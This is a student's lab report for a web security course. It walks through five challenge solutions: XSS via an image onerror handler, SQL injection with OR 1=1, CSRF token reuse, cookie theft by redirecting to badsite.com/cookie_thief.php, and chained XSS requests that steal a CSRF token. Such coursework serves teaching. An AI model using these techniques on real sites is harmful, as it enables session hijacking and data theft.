Commit: a5f7ae3ac2a9c92f1a462dd9e56bd7fa609bf771

3235 report – Web Security

1. The title section of the form does not escape special characters such as ‘<’ or ‘>’
   1. Thus by using the method taught in lecture, where using an image to conduct an xss attack
   2. This will be done by first creating img tag, and then since there is the <br> tag in the form, we can escape that tag using the ‘src’ field and opening it with “ in the title section
   3. The content section will close the ” making the src of the image be “<br>” which will cause an error
   4. Then using the onerror field, we can add the code which we want to run which in this case will be console.log(document.cookie) to print out the cookie value in the console
2. This is a standard SQL injection attack.
   1. Since the user input is directly used in the SQL query, we can escape the SQL query with ‘ and then inject our own inputs
   2. This will make the query look like SELECT voucher from table2 WHERE id=’1’ OR 1=1#’
   3. This will make the entire query compare against 1=1 which equates to true, and hence will print out the flag
3. Case03.php uses the same CSRF token for all requests, the aim would be to send a post request to case03.php using that CSRF token to get the flag
   1. In badsite.com/case03.html we require the page to automatically post the form data we crafted to case03.php with the same csrf token. This will be taken as true in case03.php and hence print out the flag in the console
4. This challenge is to use the vulnerable case04/404.php code
   1. The 404.php code will attempt to urldecode our requested url without sanitization, allowing us to use script code
   2. Hence, using the the script to first get the user cookie, then concatenate along with the already provided cookie\_thief.php in badsite, we will create a site of http://www.badsite.com/cookie\_thief.php?cookie=USER\_COOKIE
   3. Using window.location, we are then able to immediately go to cookie\_thief.php with the right cookie and get the flag printed in the console
5. This requires us to use xss to move from case05/index.php to case05/delete.php and pass the checks to get the flag
   1. Thus using XMLHttpRequest to simulate a GET request to delete.php to first capture the csrf token.
   2. Then after getting that, we will then use that token to send a post request to delete.php which will then echo the flag out
   3. With some string slicing, we are able to cut out the flag portion on the site itself